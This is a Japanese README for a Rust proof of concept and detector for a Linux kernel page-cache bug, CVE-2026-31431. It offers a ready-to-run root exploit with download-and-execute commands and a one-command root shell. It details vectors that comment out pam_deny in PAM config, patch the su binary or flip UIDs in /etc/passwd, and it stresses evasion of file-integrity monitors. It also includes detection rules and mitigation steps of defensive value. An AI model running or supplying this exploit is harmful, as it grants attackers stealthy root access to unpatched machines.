CVE-2026-31431(CopyFail)向けのマルチベクターPoC+ペア検出ツール。 他の公開PoCにはない、新規のPAM認証バイパスベクターを搭載。 検出モードは、AIDE / Wazuh / OSSEC / Tripwireでは構造的に捕捉できないものを検出します。
単一の静的バイナリ。約108 KB。no_std musl。
noot@host:~$ ./copyfail-rs --mode exploit
[sudo] password for noot:
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@host:~#
コマンド1つ。ルートシェル。内部ではPAMキルショット(/etc/pam.d/common-authへの4バイト書き込み)、破棄されるパスワードを伴うsudo経由のPTYドロップでrootへ。[sudo] password for noot: の行は一瞬表示されます。sudoは常にそのプロンプトをエコーします。バイナリは任意の文字列を渡し、pam_unixの失敗がコメントアウトされたpam_deny.soを経由してpam_permit.soへカスケードし、rootになります。
$ ./copyfail-rs --mode detect --scan
=== copyfail-rs detection: --scan ===
TAMPERED (1):
/etc/pam.d/common-auth [ext4]
cache: 23c4f1ee... ← 実際にロードされているもの(改変済み)
disk: 117dab1c... ← AIDE / Wazuh / Tripwireが見るもの(クリーン)
これがプロジェクトです。ディスクはクリーン、キャッシュは改変済み。公開されているFIMはすべて盲目です。このツールは違います。
v0.1.0リリースにプリビルド済み静的バイナリがあります。アーキテクチャを選んでダウンロードし、実行してください。
# x86_64(ほとんどのラップトップ+クラウドサーバー)
curl -LO https://github.com/diemoeve/copyfail-rs/releases/download/v0.1.0/copyfail-x86_64-musl
chmod +x copyfail-x86_64-musl
./copyfail-x86_64-musl --mode exploit
その他のアーキテクチャ:
| Arch | File |
|---|---|
| ARM64 (aarch64) | copyfail-aarch64-musl |
| ARMv7 (Raspberry Pi 3+) | copyfail-armv7-musleabihf |
整合性の検証:
curl -LO https://github.com/diemoeve/copyfail-rs/releases/download/v0.1.0/checksums.txt
sha256sum -c checksums.txt
静的muslバイナリ、ランタイム依存なし、任意のLinuxで動作します。
ページキャッシュの改変。VFS書き込みなし。ダーティページなし。inotifyイベントなし。定期的な再スキャンはエビクションと競合します。
AIDE/Wazuh/OSSEC/Tripwire/SamhainはバッファリングI/O → ページキャッシュ経由で読み取り、改変されたバイトを真実としてハッシュ化します。またはエビクション後、クリーンなディスクをハッシュ化して「変更は一切発生していない」と判断します。
検出にはO_DIRECT(キャッシュスキップ)+バッファリング読み取り(キャッシュヒット)+ハッシュ差分が必要です。不一致=CopyFailシグネチャ。それが --scan です。
自動選択: --vector auto(デフォルト)。ステルス性の高い順にpam > su > passwd。失敗時はフォールバックします。
SIEM取り込み用に --json を全モードで使用可能。
detection/:
sigma/copyfail-af-alg.yml、Sigmaルール、SIEMにドロップauditd/copyfail.rules、augenrules --loadebpf/copyfail-trace.bt、bpftraceワンライナーapparmor/copyfail-block.profile、AppArmor 3.0+拒否ルールmitigation/disable-algif.sh、modprobeブラックリスト+=y警告echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead
またはカーネルメインライン a664bf3d603d(2026年4月)。現時点では: Debian Sid/Forkyのみが配布済み。Ubuntu LTS、RHEL、SUSE、Amazon Linux、Fedora、Arch、Oracle = すべて脆弱。
注意: CONFIG_CRYPTO_USER_API_AEAD=y(組み込み)はmodprobeを静かにバイパスします。--check が警告します。
エクスプロイト+緩和策の後: キャッシュされた改変は再起動まで持続します。緩和策は新しいエクスプロイトをブロックしますが、過去のものを元に戻すことはありません。
cargo build --release --target x86_64-unknown-linux-musl
| Target | Size |
|---|---|
| x86_64-musl | 108 KB |
| aarch64-musl | 96 KB |
| armv7-musleabihf | 86 KB |
no_std。アロケータなし。ランタイム依存なし。単一の静的バイナリ。
プリビルド済みアーティファクトとSHA256サムはGitHubリリースに添付されています。
各モード(exploit auto/list/all、detect check/scan/baseline/diff/watch/hunt)の具体的な1画面の例については、docs/usage.md を参照してください。
このREADMEのより長文のナラティブ版(より多くのコンテキスト、より深い解説)については、BLOG.md を参照してください。
docs/threat-model.md を参照してください。
自分のハードウェアのみ。CLIゲートなし(セキュリティシアター)。README+LICENSE=フレームワーク。
検出モードは読み取り専用。本番環境で安全。
エクスプロイトモードはカーネルページキャッシュを改変します。RAMのみですが破壊的として扱ってください。後続の呼び出し元の認証をブロックします。
CVE-2026-31431はTheori / Xintによって2026-04-29に公開されました(writeup、Xintブログ)。以前の公開PoC:
このプロジェクト(copyfail-rs): PAM認証バイパスベクター、デュアルモード検出、IRアーティファクトを追加。
MIT。
a664bf3d603d72548b093ee3(4.14、2017年8月)| Vector | Target | Where it lands |
|---|
pam (NEW) | /etc/pam.d/common-auth(Debian/Ubuntu)または system-auth(Fedora/RHEL/Arch) | 4バイト。auth requisite pam_deny.so → #aut requisite pam_deny.so。任意のパスワードでsudo = root。 |
su | /usr/bin/su | setuidバイナリのテキストを改変。execve → root。 |
passwd | /etc/passwd | UID反転 → 次回ログイン時にユーザーがrootになる。そのユーザーのSSHは壊れます。 |
| Mode | What |
|---|
--check | カーネル+モジュール+CONFIG_CRYPTO_USER_API_AEAD+緩和策の状態。判定: 脆弱 / 緩和済み / 安全。 |
--scan | 重要ファイルに対するO_DIRECTとバッファリング読み取りの差分。statfs()で分岐: ext4/xfs/btrfsはO_DIRECT、overlayfsはフォールバック、tmpfsはスキップ。 |
--baseline / --diff | 既知のクリーン状態のスナップショット。後で差分。キャッシュのみのデルタ=CopyFailフィンガープリント。 |
--watch | デーモン。定期的なスキャン。SIGTERMでクリーン終了。 |
--hunt | SSHフリートスイープ。JSON集計。 |
| Theori Python | tgies C | badsectorlabs Go | copyfail-rs |
|---|
| ベクター | su | su + passwd | su | su + passwd + PAM(新規) |
| 検出 | なし | なし | なし | 完全な --mode detect |
| IRアーティファクト | なし | なし | なし | Sigma + auditd + eBPF + AppArmor |
| オペレーターUX | 3コマンド | 4コマンド | 5コマンド | 1コマンド |
| バイナリ | Pythonが必要 | ~10 KB | ~5 MB | ~108 KB 静的 |